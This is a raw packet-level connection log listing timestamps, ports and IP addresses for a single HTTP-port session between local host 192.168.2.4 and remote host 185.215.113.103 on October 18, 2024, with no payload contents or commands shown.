Oct 18, 2024 15:04:27.971725941 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971735954 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971764088 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971779108 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971894979 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971905947 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971915960 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971925974 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971935034 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971942902 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971946955 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971962929 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971966028 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971973896 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.971980095 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.971985102 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.972002029 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.972023964 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.972230911 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.972270012 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.972426891 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.972462893 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.055757046 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.055772066 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.055810928 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.055821896 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.055833101 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.055844069 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.055864096 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.055866957 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.055870056 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.055881977 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.055895090 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.055912018 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.055913925 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.055926085 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.055927992 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.055955887 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.055964947 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.056060076 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056071997 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056083918 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056102037 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056133032 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.056133032 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.056160927 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.056175947 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056188107 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056199074 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056210995 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.056214094 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056231022 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.056246042 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.056278944 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.056307077 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056318045 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056328058 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056339025 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056365967 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.056396008 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.056416988 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056428909 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056440115 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056452036 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056477070 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.056499004 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.056592941 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056605101 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056617022 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056627989 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056639910 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056641102 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.056649923 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056662083 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.056663036 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056674957 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056687117 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.056689024 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056714058 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.056721926 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.056823015 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056834936 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056848049 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056859970 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056880951 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.056899071 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.056961060 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056972027 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056982994 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.056996107 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057008028 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057008982 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057017088 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057022095 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057044983 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057087898 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057115078 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057125092 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057135105 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057147026 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057158947 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057168961 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057178974 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057182074 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057192087 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057219028 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057259083 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057270050 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057296038 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057307005 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057307959 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057322025 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057332039 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057341099 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057364941 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057382107 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057413101 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057503939 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057517052 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057528019 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057533979 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057553053 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057576895 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057652950 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057667017 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057677031 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057709932 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057785988 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057796955 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057806969 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057818890 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057830095 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057833910 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057848930 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057857037 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057861090 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057874918 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057897091 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057910919 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057946920 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057946920 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.057982922 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.057993889 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058005095 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058047056 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058052063 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058063984 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058074951 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058098078 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058113098 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058212996 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058226109 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058238983 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058250904 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058250904 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058269978 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058274031 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058283091 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058295012 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058361053 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058361053 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058361053 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058367968 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058379889 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058392048 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058403969 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058423996 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058445930 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058486938 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058499098 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058510065 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058533907 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058554888 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058653116 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058671951 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058686018 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058695078 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058697939 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058708906 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058712006 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058722973 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058723927 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058737040 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058739901 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058752060 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058758020 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058779001 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058815956 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058841944 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058854103 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058864117 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058875084 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058892012 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058912039 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058923006 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058928013 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058940887 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058949947 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058954000 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058965921 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058971882 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.058979988 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.058990002 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059010029 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.059048891 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.059148073 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059159994 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059170008 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059194088 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.059242010 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059253931 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059264898 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059264898 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.059271097 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059284925 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059295893 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059312105 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.059334993 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.059357882 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.059387922 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059401989 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059412956 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059447050 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.059462070 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059473991 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059484005 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059495926 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059511900 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059518099 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.059525013 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059539080 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059547901 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.059592962 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.059592962 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.059705019 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059715986 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059727907 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059734106 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059747934 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059783936 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.059783936 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.059820890 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059829950 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.059834003 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059844971 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059860945 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059871912 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059881926 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.059905052 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.059921026 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.059956074 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059978962 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059990883 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.059994936 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060003042 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060014963 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060015917 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060025930 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060026884 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060040951 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060045958 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060053110 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060065985 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060070038 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060096979 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060117006 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060287952 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060298920 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060309887 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060321093 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060333014 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060338020 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060344934 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060360909 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060363054 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060374022 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060376883 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060389042 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060400963 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060405970 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060422897 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060441971 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060564995 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060578108 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060590029 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060601950 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060609102 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060632944 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060656071 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060705900 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060718060 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060729027 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060741901 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060756922 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060762882 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060771942 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060781956 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060787916 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060789108 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060800076 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060807943 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060812950 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060825109 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060832024 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060837984 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060849905 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060857058 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060863972 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.060874939 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060884953 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.060911894 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.061670065 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.061719894 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.061732054 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.061743975 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.061770916 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.061783075 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.061786890 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.061800003 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.061841965 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.090025902 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090048075 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090059996 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090084076 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.090109110 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.090135098 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090147018 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090157986 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090171099 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090187073 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.090195894 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.090223074 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.090315104 CEST	80	49884	185.215.113.103	192.168.2.4
